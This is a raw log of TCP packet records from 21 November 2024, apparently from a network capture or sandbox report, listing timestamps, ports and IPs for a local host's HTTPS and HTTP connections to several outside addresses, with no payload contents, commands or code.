Nov 21, 2024 14:44:45.717586040 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:45.717921019 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:45.722888947 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:45.763355970 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:46.407363892 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:46.407391071 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:46.407413006 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:46.407536030 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:46.407598019 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:46.407672882 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:46.449647903 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:46.449709892 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:46.449788094 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:46.449884892 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:46.449884892 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:46.449884892 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:46.449973106 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:46.449973106 CET	49743	443	192.168.2.16	4.245.163.56
Nov 21, 2024 14:44:46.450017929 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:46.450047016 CET	443	49743	4.245.163.56	192.168.2.16
Nov 21, 2024 14:44:46.473664999 CET	443	49744	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.473984003 CET	49744	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.474042892 CET	443	49744	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.474937916 CET	443	49744	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.475356102 CET	49744	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.475497961 CET	443	49744	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.475505114 CET	49744	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.519349098 CET	443	49744	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.529362917 CET	49744	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.795444965 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.795826912 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.795845032 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.796132088 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.796433926 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.796485901 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.796581030 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.796657085 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.796684980 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.796780109 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.796808004 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.928761959 CET	443	49744	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.928922892 CET	443	49744	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:46.928994894 CET	49744	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.929975986 CET	49744	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:46.930015087 CET	443	49744	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.425849915 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.425906897 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.425949097 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.425956964 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.425983906 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.426023006 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.426028967 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.426039934 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.426085949 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.426091909 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.440305948 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.440335989 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.440373898 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.440381050 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.440428972 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.448517084 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.502373934 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.546232939 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.597362995 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.597388983 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.622351885 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.622482061 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.622507095 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.622529030 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.622569084 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.630151987 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.637970924 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.638030052 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.638044119 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.645781040 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.645838022 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.645852089 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.645889044 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.645934105 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.645982027 CET	49745	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.645993948 CET	443	49745	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.648524046 CET	49746	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.648564100 CET	443	49746	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:47.648639917 CET	49746	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.648823023 CET	49746	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:47.648839951 CET	443	49746	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:48.880754948 CET	443	49746	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:48.881135941 CET	49746	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:48.881190062 CET	443	49746	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:48.881659985 CET	443	49746	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:48.882018089 CET	49746	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:48.882108927 CET	443	49746	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:48.882168055 CET	49746	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:48.923362017 CET	443	49746	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:48.935470104 CET	49746	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:49.331680059 CET	443	49746	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:49.331881046 CET	443	49746	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:49.332077980 CET	49746	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:49.332442045 CET	49746	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:49.332483053 CET	443	49746	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:51.949042082 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:51.949090004 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:51.949168921 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:51.949480057 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:51.949491978 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.259432077 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.259752989 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:53.259773970 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.260919094 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.261241913 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:53.261403084 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:53.261409998 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.261425972 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.261495113 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:53.261542082 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.261646986 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:53.261684895 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.993547916 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.993812084 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.993885040 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:53.993896008 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.993926048 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.993973017 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:53.994019985 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.994158983 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.994213104 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:53.994950056 CET	49747	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:53.994966984 CET	443	49747	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.999687910 CET	49748	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:53.999716997 CET	443	49748	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:53.999788046 CET	49748	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:54.000158072 CET	49748	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:54.000169992 CET	443	49748	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:54.005269051 CET	49749	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:54.005357027 CET	443	49749	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:54.005429029 CET	49750	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:54.005448103 CET	49749	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:54.005511045 CET	443	49750	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:54.005584002 CET	49750	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:54.005908966 CET	49750	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:54.005945921 CET	443	49750	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:54.006133080 CET	49749	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:54.006165981 CET	443	49749	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:55.316627979 CET	443	49748	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:55.317301989 CET	49748	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:55.317317963 CET	443	49748	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:55.318399906 CET	443	49748	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:55.318763018 CET	49748	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:55.318922043 CET	49748	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:55.318932056 CET	443	49748	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:55.363334894 CET	443	49748	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:55.364415884 CET	49748	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:55.454941988 CET	443	49749	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:55.455266953 CET	49749	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:55.455327988 CET	443	49749	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:55.455677032 CET	443	49749	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:55.455982924 CET	49749	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:55.456065893 CET	443	49749	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:55.456146955 CET	49749	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:55.456147909 CET	49749	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:55.456183910 CET	443	49749	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:55.461548090 CET	443	49750	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:55.461751938 CET	49750	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:55.461810112 CET	443	49750	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:55.462938070 CET	443	49750	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:55.463228941 CET	49750	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:55.463435888 CET	443	49750	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:55.508452892 CET	49750	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:55.785408974 CET	443	49748	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:55.785625935 CET	443	49748	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:55.785706997 CET	49748	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:55.786376953 CET	49748	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:55.786396027 CET	443	49748	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:56.444817066 CET	443	49749	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:56.445292950 CET	49749	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:56.445368052 CET	443	49749	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:56.445436954 CET	49749	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:56.685661077 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:56.685776949 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:56.685863018 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:56.686094046 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:56.686131954 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.152045012 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.152430058 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.152473927 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.154128075 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.154223919 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.155174017 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.155262947 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.155334949 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.199366093 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.203511953 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.203536987 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.251432896 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.720371008 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.720635891 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.720730066 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.721101046 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.721101046 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.721148968 CET	443	49751	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.721218109 CET	49751	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.723772049 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.723819971 CET	443	49752	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:58.723908901 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.724133015 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:58.724149942 CET	443	49752	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:00.195564985 CET	443	49752	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:00.195967913 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.195986986 CET	443	49752	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:00.197123051 CET	443	49752	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:00.197565079 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.197740078 CET	443	49752	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:00.197772980 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.240470886 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.240488052 CET	443	49752	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:00.791645050 CET	443	49752	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:00.791819096 CET	443	49752	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:00.791954041 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.792285919 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.792305946 CET	443	49752	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:00.792315960 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.792363882 CET	49752	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.794923067 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.794964075 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:00.795085907 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.795375109 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:00.795392990 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.212106943 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.212587118 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.212615967 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.213762999 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.214426994 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.214598894 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.214683056 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.255374908 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.839096069 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.839169025 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.839205980 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.839225054 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.839243889 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.839271069 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.839277983 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.839332104 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.839339972 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.839517117 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.839658976 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.841160059 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.841177940 CET	443	49753	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.841187954 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.841236115 CET	49753	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.843858957 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.843894958 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:02.843986034 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.844260931 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:02.844274998 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:04.447129011 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:04.447489977 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:04.447510958 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:04.448617935 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:04.449009895 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:04.449178934 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:04.449188948 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:04.449290037 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:04.490643978 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.431479931 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.431551933 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.431571007 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.431593895 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.431622982 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.431627989 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.431646109 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.431659937 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.431678057 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.431684971 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.431709051 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.431727886 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.450664043 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.450763941 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.450778008 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.450824976 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.450845957 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.450898886 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.450958967 CET	49754	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.450972080 CET	443	49754	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.464979887 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.465095043 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.465198040 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.465461969 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:05.465497971 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:05.775459051 CET	49721	80	192.168.2.16	164.132.95.123
Nov 21, 2024 14:45:05.896301031 CET	80	49721	164.132.95.123	192.168.2.16
Nov 21, 2024 14:45:06.947429895 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:06.947736025 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:06.947794914 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:06.948961020 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:06.949259996 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:06.949435949 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:06.949441910 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:06.949553013 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:06.996556044 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:07.108607054 CET	49722	80	192.168.2.16	164.132.95.123
Nov 21, 2024 14:45:07.228478909 CET	80	49722	164.132.95.123	192.168.2.16
Nov 21, 2024 14:45:07.866951942 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:07.866975069 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:07.867016077 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:07.867033005 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:07.867062092 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:07.867080927 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:07.867141962 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:07.867189884 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:07.867219925 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:07.910646915 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:07.910662889 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:07.910916090 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:07.910953045 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:07.911017895 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:08.058806896 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.058831930 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.058934927 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:08.058979034 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.059062958 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:08.089020014 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.089037895 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.089155912 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:08.089194059 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.089262009 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:08.119987011 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.120003939 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.120100021 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:08.120121002 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.120183945 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:08.147078037 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.147093058 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.147185087 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:08.147202015 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.147285938 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:08.257944107 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.257961035 CET	443	49755	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:08.258065939 CET	49755	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:08.258086920 CET	443	49755	185.156.109.33	192.168.2.16
